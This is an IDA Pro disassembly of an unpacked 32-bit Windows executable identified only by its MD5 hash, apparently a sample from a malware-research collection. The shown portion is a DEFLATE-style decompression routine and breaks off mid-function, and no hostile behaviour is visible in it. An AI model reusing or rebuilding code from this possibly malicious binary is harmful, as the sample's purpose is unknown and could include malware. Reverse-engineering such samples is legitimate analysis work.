;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F2A89FAC27E1493F243AA65AD5F718F4

; File Name   :	u:\work\f2a89fac27e1493f243aa65ad5f718f4_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005BFC (  23548.)
; Section size in file		: 00005BFC (  23548.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_403B73+F6p

var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax]
		lea	esi, [eax+10h]
		mov	eax, [eax+4]
		mov	[ebp+var_38], ecx
		mov	ecx, [esi+9BA8h]
		mov	ebx, [esi+518h]
		mov	[ebp+var_34], eax
		mov	eax, [esi+51Ch]
		mov	[ebp+var_40], eax
		mov	eax, [esi+9BA4h]
		cmp	ecx, eax
		mov	[ebp+var_30], ecx
		jnb	short loc_401041
		sub	eax, ecx
		dec	eax
		jmp	short loc_401049
; ---------------------------------------------------------------------------

loc_401041:				; CODE XREF: sub_401000+3Aj
		mov	eax, [esi+9BA0h]
		sub	eax, ecx

loc_401049:				; CODE XREF: sub_401000+3Fj
		mov	[ebp+var_2C], eax
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_401051:				; CODE XREF: sub_401000+A19j
		jmp	ds:off_401A4F[eax*4]
; ---------------------------------------------------------------------------

loc_401058:				; CODE XREF: sub_401000+7Bj
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8

loc_401078:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A6Fo
		cmp	ebx, 3
		jb	short loc_401058
		mov	eax, [ebp+var_40]
		sub	ebx, 3
		shr	[ebp+var_40], 3
		and	eax, 7
		mov	ecx, eax
		and	cl, 1
		neg	cl
		sbb	ecx, ecx
		and	ecx, 7
		shr	eax, 1
		add	ecx, 8
		sub	eax, 0
		mov	[esi+514h], ecx
		jz	loc_4011D8
		dec	eax
		jz	short loc_401103
		dec	eax
		jz	short loc_4010F8
		dec	eax
		jnz	loc_401A14

loc_4010B7:				; CODE XREF: sub_401000:loc_401051j
					; sub_401000+358j ...
		or	edi, 0FFFFFFFFh
		mov	dword ptr [esi], 11h

loc_4010C0:				; CODE XREF: sub_401000+A42j
					; sub_401000+A4Aj
		mov	eax, [ebp+var_40]
		mov	ecx, [ebp+arg_0]
		mov	[esi+51Ch], eax
		mov	eax, [ebp+var_34]
		mov	[esi+518h], ebx
		mov	[ecx+4], eax

loc_4010D8:				; CODE XREF: sub_401000+A3Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_38]
		push	eax
		mov	[eax], ecx
		mov	ecx, [ebp+var_30]
		mov	[esi+9BA8h], ecx
		call	sub_401A8F
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_4010F8:				; CODE XREF: sub_401000+AEj
		mov	dword ptr [esi], 0Bh
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_401103:				; CODE XREF: sub_401000+ABj
		cmp	byte_40A580, 0
		jnz	loc_4011B0
		and	[ebp+var_8], 0
		mov	eax, offset dword_409400

loc_401119:				; CODE XREF: sub_401000+143j
		cmp	eax, offset dword_40963C
		mov	cl, 8
		jle	short loc_401136
		cmp	eax, offset dword_409800
		jge	short loc_40112D
		inc	cl
		jmp	short loc_401136
; ---------------------------------------------------------------------------

loc_40112D:				; CODE XREF: sub_401000+127j
		cmp	eax, offset dword_409860
		jge	short loc_401136
		mov	cl, 7

loc_401136:				; CODE XREF: sub_401000+120j
					; sub_401000+12Bj ...
		movsx	ecx, cl
		mov	[eax], ecx
		add	eax, 4
		cmp	eax, offset dword_409880
		jl	short loc_401119
		lea	eax, [ebp+var_8]
		mov	edi, offset dword_409400
		push	eax
		push	offset dword_409D00
		push	offset byte_409024
		push	offset dword_4093FC
		push	offset dword_4072E0
		push	offset dword_4072A0
		push	101h
		push	120h
		push	edi
		call	sub_401AF7
		push	1Eh
		pop	ecx
		push	5
		pop	eax
		rep stosd
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_409D00
		push	offset byte_409028
		push	offset dword_4093F8
		push	offset dword_40735C
		push	offset dword_407320
		push	0
		push	1Eh
		push	offset dword_409400
		call	sub_401AF7
		inc	byte_40A580

loc_4011B0:				; CODE XREF: sub_401000+10Aj
		mov	al, byte_409024
		mov	[esi+10h], al
		mov	al, byte_409028
		mov	[esi+11h], al
		mov	eax, dword_4093FC
		mov	[esi+14h], eax
		mov	eax, dword_4093F8
		mov	[esi+18h], eax

loc_4011D0:				; CODE XREF: sub_401000+83Aj
					; sub_401000+909j ...
		and	dword ptr [esi], 0
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_4011D8:				; CODE XREF: sub_401000+A4j
		mov	ecx, ebx
		mov	dword ptr [esi], 9
		and	ecx, 7
		shr	[ebp+var_40], cl
		sub	ebx, ecx
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_4011ED:				; CODE XREF: sub_401000+210j
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8

loc_40120D:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A73o
		cmp	ebx, 10h
		jb	short loc_4011ED
		mov	eax, [ebp+var_40]
		xor	ebx, ebx
		and	eax, 0FFFFh
		mov	[ebp+var_40], ebx
		cmp	eax, ebx
		mov	[esi+4], eax
		jz	loc_401313
		push	0Ah
		pop	eax
		jmp	loc_401319
; ---------------------------------------------------------------------------

loc_401232:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A77o
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	eax, [ebp+var_2C]
		test	eax, eax
		jnz	loc_4012DF
		mov	ecx, [esi+9BA0h]
		mov	edx, [ebp+var_30]
		cmp	edx, ecx
		jnz	short loc_40127D
		mov	eax, [esi+9BA4h]
		lea	edi, [esi+1BA0h]
		cmp	eax, edi
		jz	short loc_40127D
		mov	edx, edi
		cmp	edx, eax
		mov	[ebp+var_30], edx
		jnb	short loc_401272
		sub	eax, edx
		dec	eax
		jmp	short loc_401276
; ---------------------------------------------------------------------------

loc_401272:				; CODE XREF: sub_401000+26Bj
		sub	ecx, edx
		mov	eax, ecx

loc_401276:				; CODE XREF: sub_401000+270j
		test	eax, eax
		mov	[ebp+var_2C], eax
		jnz	short loc_4012DF

loc_40127D:				; CODE XREF: sub_401000+252j
					; sub_401000+262j
		push	[ebp+arg_0]
		mov	[esi+9BA8h], edx
		call	sub_401A8F
		mov	edx, [esi+9BA8h]
		mov	ecx, [esi+9BA4h]
		cmp	edx, ecx
		mov	[ebp+var_30], edx
		jnb	short loc_4012A5
		mov	eax, ecx
		sub	eax, edx
		dec	eax
		jmp	short loc_4012AD
; ---------------------------------------------------------------------------

loc_4012A5:				; CODE XREF: sub_401000+29Cj
		mov	eax, [esi+9BA0h]
		sub	eax, edx

loc_4012AD:				; CODE XREF: sub_401000+2A3j
		mov	edi, [esi+9BA0h]
		mov	[ebp+var_2C], eax
		cmp	edx, edi
		jnz	short loc_4012D7
		lea	edx, [esi+1BA0h]
		cmp	edx, ecx
		jz	short loc_4012D7
		mov	[ebp+var_30], edx
		jnb	short loc_4012D0
		sub	ecx, edx
		dec	ecx
		mov	eax, ecx
		jmp	short loc_4012D4
; ---------------------------------------------------------------------------

loc_4012D0:				; CODE XREF: sub_401000+2C7j
		sub	edi, edx
		mov	eax, edi

loc_4012D4:				; CODE XREF: sub_401000+2CEj
		mov	[ebp+var_2C], eax

loc_4012D7:				; CODE XREF: sub_401000+2B8j
					; sub_401000+2C2j
		test	eax, eax
		jz	loc_401A40

loc_4012DF:				; CODE XREF: sub_401000+241j
					; sub_401000+27Bj
		cmp	eax, [ebp+var_34]
		jb	short loc_4012E7
		mov	eax, [ebp+var_34]

loc_4012E7:				; CODE XREF: sub_401000+2E2j
		mov	ecx, [esi+4]
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_4012F2
		mov	edi, eax

loc_4012F2:				; CODE XREF: sub_401000+2EEj
		push	edi
		push	[ebp+var_38]
		push	[ebp+var_30]
		call	sub_40656F
		add	[ebp+var_38], edi
		sub	[ebp+var_34], edi
		add	[ebp+var_30], edi
		sub	[ebp+var_2C], edi
		sub	[esi+4], edi
		jnz	loc_401A14

loc_401313:				; CODE XREF: sub_401000+224j
		mov	eax, [esi+514h]

loc_401319:				; CODE XREF: sub_401000+22Dj
		mov	[esi], eax
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_401320:				; CODE XREF: sub_401000+343j
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8

loc_401340:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A7Bo
		cmp	ebx, 0Eh
		jb	short loc_401320
		mov	eax, [ebp+var_40]
		and	eax, 3FFFh
		mov	ecx, eax
		mov	[esi+4], eax
		and	ecx, 1Fh
		cmp	cl, 1Dh
		ja	loc_4010B7
		and	eax, 3E0h
		cmp	eax, 3A0h
		ja	loc_4010B7
		shr	[ebp+var_40], 0Eh
		sub	ebx, 0Eh
		and	dword ptr [esi+8], 0
		mov	dword ptr [esi], 0Ch

loc_40137F:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A7Fo
		mov	eax, [esi+4]
		shr	eax, 0Ah
		add	eax, 4
		cmp	[esi+8], eax
		jnb	short loc_4013F6
		jmp	short loc_4013AF
; ---------------------------------------------------------------------------

loc_40138F:				; CODE XREF: sub_401000+3B2j
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8

loc_4013AF:				; CODE XREF: sub_401000+38Dj
					; sub_401000+3E0j
		cmp	ebx, 3
		jb	short loc_40138F
		mov	ecx, [esi+8]
		mov	eax, [ebp+var_40]
		and	eax, 7
		sub	ebx, 3
		movsx	ecx, ds:byte_40728C[ecx]
		shr	[ebp+var_40], 3
		mov	[esi+ecx*4+0Ch], eax
		mov	ecx, [esi+4]
		inc	dword ptr [esi+8]
		mov	eax, [esi+8]
		shr	ecx, 0Ah
		add	ecx, 4
		cmp	eax, ecx
		jb	short loc_4013AF
		jmp	short loc_4013F6
; ---------------------------------------------------------------------------

loc_4013E4:				; CODE XREF: sub_401000+3FAj
		mov	eax, [esi+8]
		movsx	eax, ds:byte_40728C[eax]
		and	dword ptr [esi+eax*4+0Ch], 0
		inc	dword ptr [esi+8]

loc_4013F6:				; CODE XREF: sub_401000+38Bj
					; sub_401000+3E2j
		cmp	dword ptr [esi+8], 13h
		jb	short loc_4013E4
		lea	ecx, [ebp+var_8]
		lea	edi, [esi+50Ch]
		push	ecx
		lea	ecx, [esi+520h]
		push	ecx
		lea	ecx, [esi+510h]
		xor	eax, eax
		push	edi
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		push	eax
		push	13h
		lea	eax, [esi+0Ch]
		push	13h
		push	eax
		mov	dword ptr [edi], 7
		call	sub_401AF7
		test	eax, eax
		jnz	short loc_401445
		cmp	[edi], eax
		jz	short loc_401445
		and	[esi+8], eax
		mov	dword ptr [esi], 0Dh
		jmp	loc_401562
; ---------------------------------------------------------------------------

loc_401445:				; CODE XREF: sub_401000+431j
					; sub_401000+435j
		mov	dword ptr [esi], 11h
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_401450:				; CODE XREF: sub_401000+57Cj
		mov	eax, [esi+50Ch]
		jmp	short loc_401478
; ---------------------------------------------------------------------------

loc_401458:				; CODE XREF: sub_401000+47Aj
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8

loc_401478:				; CODE XREF: sub_401000+456j
		cmp	ebx, eax
		jb	short loc_401458
		movzx	eax, word_409000[eax*2]
		and	eax, [ebp+var_40]
		mov	ecx, [esi+510h]
		lea	eax, [ecx+eax*4]
		movzx	edx, byte ptr [eax+1]
		movzx	eax, word ptr [eax+2]
		cmp	eax, 10h
		mov	[ebp+var_14], eax
		jnb	short loc_4014B6
		mov	ecx, edx
		sub	ebx, edx
		shr	[ebp+var_40], cl
		mov	ecx, [esi+8]
		mov	[esi+ecx*4+0Ch], eax
		inc	dword ptr [esi+8]
		jmp	loc_401562
; ---------------------------------------------------------------------------

loc_4014B6:				; CODE XREF: sub_401000+49Ej
		cmp	eax, 12h
		jnz	short loc_4014C7
		push	7
		mov	[ebp+var_8], 0Bh
		pop	eax
		jmp	short loc_4014F3
; ---------------------------------------------------------------------------

loc_4014C7:				; CODE XREF: sub_401000+4B9j
		add	eax, 0FFFFFFF2h
		mov	[ebp+var_8], 3
		jmp	short loc_4014F3
; ---------------------------------------------------------------------------

loc_4014D3:				; CODE XREF: sub_401000+4F8j
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edi, byte ptr [ecx]
		mov	ecx, ebx
		shl	edi, cl
		or	[ebp+var_40], edi
		inc	[ebp+var_38]
		add	ebx, 8

loc_4014F3:				; CODE XREF: sub_401000+4C5j
					; sub_401000+4D1j
		lea	ecx, [eax+edx]
		cmp	ebx, ecx
		jb	short loc_4014D3
		mov	ecx, edx
		sub	ebx, edx
		shr	[ebp+var_40], cl
		movzx	ecx, word_409000[eax*2]
		and	ecx, [ebp+var_40]
		mov	edx, [ebp+var_8]
		sub	ebx, eax
		add	edx, ecx
		mov	ecx, eax
		mov	eax, [esi+4]
		shr	[ebp+var_40], cl
		mov	ecx, [esi+8]
		mov	edi, eax
		shr	edi, 5
		and	edi, 1Fh
		and	eax, 1Fh
		lea	eax, [edi+eax+102h]
		lea	edi, [edx+ecx]
		cmp	edi, eax
		ja	loc_4010B7
		cmp	[ebp+var_14], 10h
		jnz	short loc_401550
		cmp	ecx, 1
		jb	loc_4010B7
		mov	edi, [esi+ecx*4+8]
		jmp	short loc_401552
; ---------------------------------------------------------------------------

loc_401550:				; CODE XREF: sub_401000+53Fj
		xor	edi, edi

loc_401552:				; CODE XREF: sub_401000+54Ej
		lea	eax, [esi+ecx*4+0Ch]

loc_401556:				; CODE XREF: sub_401000+55Dj
		mov	[eax], edi
		inc	ecx
		add	eax, 4
		dec	edx
		jnz	short loc_401556
		mov	[esi+8], ecx

loc_401562:				; CODE XREF: sub_401000:loc_401051j
					; sub_401000+440j ...
		mov	eax, [esi+4]
		mov	ecx, [esi+8]
		mov	edx, eax
		and	eax, 1Fh
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [edx+eax+102h]
		cmp	ecx, eax
		jb	loc_401450
		mov	eax, [esi+4]
		and	dword ptr [esi+510h], 0
		and	[ebp+var_C], 0
		mov	edi, eax
		shr	eax, 5
		and	edi, 1Fh
		mov	ecx, 101h
		and	eax, 1Fh
		add	edi, ecx
		inc	eax
		lea	edx, [ebp+var_C]
		mov	[ebp+var_14], eax
		lea	eax, [esi+520h]
		push	edx
		push	eax
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 9
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset dword_4072E0
		push	offset dword_4072A0
		push	ecx
		lea	eax, [esi+0Ch]
		push	edi
		push	eax
		mov	[ebp+var_10], 6
		call	sub_401AF7
		cmp	[ebp+var_4], 0
		jnz	short loc_4015E5
		or	eax, 0FFFFFFFFh

loc_4015E5:				; CODE XREF: sub_401000+5E0j
		test	eax, eax
		jnz	loc_4010B7
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [esi+520h]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_40735C
		push	offset dword_407320
		push	0
		push	[ebp+var_14]
		lea	eax, [esi+edi*4+0Ch]
		push	eax
		call	sub_401AF7
		test	eax, eax
		jnz	loc_4010B7
		mov	eax, [ebp+var_10]
		test	eax, eax
		jnz	short loc_401634
		cmp	edi, 101h
		jg	loc_4010B7

loc_401634:				; CODE XREF: sub_401000+626j
		mov	cl, byte ptr [ebp+var_4]
		and	dword ptr [esi], 0
		mov	[esi+11h], al
		mov	eax, [ebp+var_18]
		mov	[esi+14h], eax
		mov	eax, [ebp+var_1C]
		mov	[esi+10h], cl
		mov	[esi+18h], eax

loc_40164C:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:off_401A4Fo
		movzx	eax, byte ptr [esi+10h]
		mov	[esi+0Ch], eax
		mov	eax, [esi+14h]
		mov	[esi+8], eax
		mov	dword ptr [esi], 1

loc_40165F:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A53o
		mov	eax, [esi+0Ch]
		jmp	short loc_401684
; ---------------------------------------------------------------------------

loc_401664:				; CODE XREF: sub_401000+686j
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8

loc_401684:				; CODE XREF: sub_401000+662j
		cmp	ebx, eax
		jb	short loc_401664
		movzx	eax, word_409000[eax*2]
		and	eax, [ebp+var_40]
		mov	ecx, [esi+8]
		lea	eax, [ecx+eax*4]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+var_40], cl
		sub	ebx, ecx
		movzx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_4016BB
		movzx	eax, word ptr [eax+2]
		mov	[esi+8], eax
		mov	dword ptr [esi], 6
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_4016BB:				; CODE XREF: sub_401000+6A7j
		test	cl, 10h
		jz	short loc_4016D8
		and	ecx, 0Fh
		mov	[esi+8], ecx
		movzx	eax, word ptr [eax+2]
		mov	[esi+4], eax
		mov	dword ptr [esi], 2
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_4016D8:				; CODE XREF: sub_401000+6BEj
		test	cl, 40h
		jz	loc_4017B2
		test	cl, 20h
		jz	loc_4010B7
		mov	dword ptr [esi], 7
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_4016F5:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A57o
		mov	eax, [esi+8]
		jmp	short loc_40171A
; ---------------------------------------------------------------------------

loc_4016FA:				; CODE XREF: sub_401000+71Cj
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8

loc_40171A:				; CODE XREF: sub_401000+6F8j
		cmp	ebx, eax
		jb	short loc_4016FA
		movzx	ecx, word_409000[eax*2]
		and	ecx, [ebp+var_40]
		add	[esi+4], ecx
		mov	ecx, eax
		shr	[ebp+var_40], cl
		sub	ebx, eax
		movzx	eax, byte ptr [esi+11h]
		mov	[esi+0Ch], eax
		mov	eax, [esi+18h]
		mov	[esi+8], eax
		mov	dword ptr [esi], 3

loc_401746:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A5Bo
		mov	eax, [esi+0Ch]
		jmp	short loc_40176B
; ---------------------------------------------------------------------------

loc_40174B:				; CODE XREF: sub_401000+76Dj
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8

loc_40176B:				; CODE XREF: sub_401000+749j
		cmp	ebx, eax
		jb	short loc_40174B
		movzx	eax, word_409000[eax*2]
		and	eax, [ebp+var_40]
		mov	ecx, [esi+8]
		lea	eax, [ecx+eax*4]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+var_40], cl
		sub	ebx, ecx
		movzx	ecx, byte ptr [eax]
		test	cl, 10h
		jz	short loc_4017A9
		and	ecx, 0Fh
		mov	[esi+8], ecx
		movzx	eax, word ptr [eax+2]
		mov	[esi+0Ch], eax
		mov	dword ptr [esi], 4
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_4017A9:				; CODE XREF: sub_401000+78Fj
		test	cl, 40h
		jnz	loc_4010B7

loc_4017B2:				; CODE XREF: sub_401000+6DBj
		mov	[esi+0Ch], ecx
		movzx	ecx, word ptr [eax+2]
		lea	eax, [eax+ecx*4]
		mov	[esi+8], eax
		jmp	loc_401A14
; ---------------------------------------------------------------------------

loc_4017C4:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A5Fo
		mov	eax, [esi+8]
		jmp	short loc_4017E9
; ---------------------------------------------------------------------------

loc_4017C9:				; CODE XREF: sub_401000+7EBj
		cmp	[ebp+var_34], 0
		jz	loc_401A24
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8

loc_4017E9:				; CODE XREF: sub_401000+7C7j
		cmp	ebx, eax
		jb	short loc_4017C9
		movzx	ecx, word_409000[eax*2]
		and	ecx, [ebp+var_40]
		add	[esi+0Ch], ecx
		mov	ecx, eax
		shr	[ebp+var_40], cl
		sub	ebx, eax
		mov	dword ptr [esi], 5

loc_401808:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A63o
		mov	eax, [ebp+var_30]
		mov	edx, [esi+0Ch]
		mov	ecx, eax
		sub	ecx, esi
		sub	ecx, 1BA0h
		cmp	ecx, edx
		jnb	short loc_40182F
		mov	ecx, [esi+9BA0h]
		sub	ecx, edx
		sub	ecx, esi
		lea	ecx, [ecx+eax-1BA0h]
		jmp	short loc_401833
; ---------------------------------------------------------------------------

loc_40182F:				; CODE XREF: sub_401000+81Aj
		mov	ecx, eax
		sub	ecx, edx

loc_401833:				; CODE XREF: sub_401000+82Dj
		cmp	dword ptr [esi+4], 0
		mov	[ebp+var_20], ecx
		jz	loc_4011D0
		mov	edi, [ebp+var_2C]

loc_401843:				; CODE XREF: sub_401000+903j
		test	edi, edi
		jnz	loc_4018DC
		mov	edi, [esi+9BA0h]
		cmp	eax, edi
		jnz	short loc_401878
		mov	ecx, [esi+9BA4h]
		lea	edx, [esi+1BA0h]
		cmp	ecx, edx
		jz	short loc_401878
		mov	eax, edx
		cmp	eax, ecx
		jnb	short loc_401872
		sub	ecx, eax
		dec	ecx
		mov	edi, ecx
		jmp	short loc_401874
; ---------------------------------------------------------------------------

loc_401872:				; CODE XREF: sub_401000+869j
		sub	edi, eax

loc_401874:				; CODE XREF: sub_401000+870j
		test	edi, edi
		jnz	short loc_4018DC

loc_401878:				; CODE XREF: sub_401000+853j
					; sub_401000+863j
		push	[ebp+arg_0]
		mov	[esi+9BA8h], eax
		call	sub_401A8F
		mov	eax, [esi+9BA8h]
		mov	ecx, [esi+9BA4h]
		cmp	eax, ecx
		mov	[ebp+var_30], eax
		jnb	short loc_4018A0
		mov	edi, ecx
		sub	edi, eax
		dec	edi
		jmp	short loc_4018A8
; ---------------------------------------------------------------------------

loc_4018A0:				; CODE XREF: sub_401000+897j
		mov	edi, [esi+9BA0h]
		sub	edi, eax

loc_4018A8:				; CODE XREF: sub_401000+89Ej
		mov	edx, [esi+9BA0h]
		cmp	eax, edx
		mov	[ebp+var_8], edx
		jnz	short loc_4018D4
		lea	edx, [esi+1BA0h]
		cmp	ecx, edx
		jz	short loc_4018D4
		mov	eax, edx
		cmp	eax, ecx
		mov	[ebp+var_30], eax
		jnb	short loc_4018CF
		sub	ecx, eax
		dec	ecx
		mov	edi, ecx
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------

loc_4018CF:				; CODE XREF: sub_401000+8C6j
		mov	edi, [ebp+var_8]
		sub	edi, eax

loc_4018D4:				; CODE XREF: sub_401000+8B3j
					; sub_401000+8BDj ...
		test	edi, edi
		jz	loc_401A40

loc_4018DC:				; CODE XREF: sub_401000+845j
					; sub_401000+876j
		mov	ecx, [ebp+var_20]
		mov	dl, [ecx]
		mov	[eax], dl
		inc	eax
		inc	ecx
		dec	edi
		cmp	ecx, [esi+9BA0h]
		mov	[ebp+var_30], eax
		mov	[ebp+var_20], ecx
		mov	[ebp+var_2C], edi
		jnz	short loc_401900
		lea	ecx, [esi+1BA0h]
		mov	[ebp+var_20], ecx

loc_401900:				; CODE XREF: sub_401000+8F5j
		dec	dword ptr [esi+4]
		jnz	loc_401843
		jmp	loc_4011D0
; ---------------------------------------------------------------------------

loc_40190E:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A67o
		mov	eax, [ebp+var_2C]
		mov	edi, [ebp+var_30]
		test	eax, eax
		jnz	loc_4019AD
		mov	ecx, [esi+9BA0h]
		cmp	edi, ecx
		jnz	short loc_401949
		mov	eax, [esi+9BA4h]
		lea	edx, [esi+1BA0h]
		cmp	eax, edx
		jz	short loc_401949
		mov	edi, edx
		cmp	edi, eax
		jnb	short loc_401941
		sub	eax, edi
		dec	eax
		jmp	short loc_401945
; ---------------------------------------------------------------------------

loc_401941:				; CODE XREF: sub_401000+93Aj
		sub	ecx, edi
		mov	eax, ecx

loc_401945:				; CODE XREF: sub_401000+93Fj
		test	eax, eax
		jnz	short loc_4019AD

loc_401949:				; CODE XREF: sub_401000+924j
					; sub_401000+934j
		push	[ebp+arg_0]
		mov	[esi+9BA8h], edi
		call	sub_401A8F
		mov	edi, [esi+9BA8h]
		mov	ecx, [esi+9BA4h]
		cmp	edi, ecx
		mov	[ebp+var_30], edi
		jnb	short loc_401971
		mov	eax, ecx
		sub	eax, edi
		dec	eax
		jmp	short loc_401979
; ---------------------------------------------------------------------------

loc_401971:				; CODE XREF: sub_401000+968j
		mov	eax, [esi+9BA0h]
		sub	eax, edi

loc_401979:				; CODE XREF: sub_401000+96Fj
		mov	edx, [esi+9BA0h]
		cmp	edi, edx
		mov	[ebp+var_8], edx
		jnz	short loc_4019A5
		lea	edx, [esi+1BA0h]
		cmp	ecx, edx
		jz	short loc_4019A5
		mov	edi, edx
		cmp	edi, ecx
		mov	[ebp+var_30], edi
		jnb	short loc_4019A0
		sub	ecx, edi
		dec	ecx
		mov	eax, ecx
		jmp	short loc_4019A5
; ---------------------------------------------------------------------------

loc_4019A0:				; CODE XREF: sub_401000+997j
		mov	eax, [ebp+var_8]
		sub	eax, edi

loc_4019A5:				; CODE XREF: sub_401000+984j
					; sub_401000+98Ej ...
		test	eax, eax
		jz	loc_401A40

loc_4019AD:				; CODE XREF: sub_401000+916j
					; sub_401000+947j
		mov	cl, [esi+8]
		mov	[edi], cl
		inc	edi
		dec	eax
		mov	[ebp+var_30], edi
		mov	[ebp+var_2C], eax
		jmp	loc_4011D0
; ---------------------------------------------------------------------------

loc_4019BF:				; CODE XREF: sub_401000:loc_401051j
					; DATA XREF: .text:00401A6Bo
		cmp	ebx, 7
		jbe	short loc_4019CD
		sub	ebx, 8
		inc	[ebp+var_34]
		dec	[ebp+var_38]

loc_4019CD:				; CODE XREF: sub_401000:loc_401051j
					; sub_401000+9C2j
					; DATA XREF: ...
		mov	eax, [ebp+var_30]
		push	[ebp+arg_0]
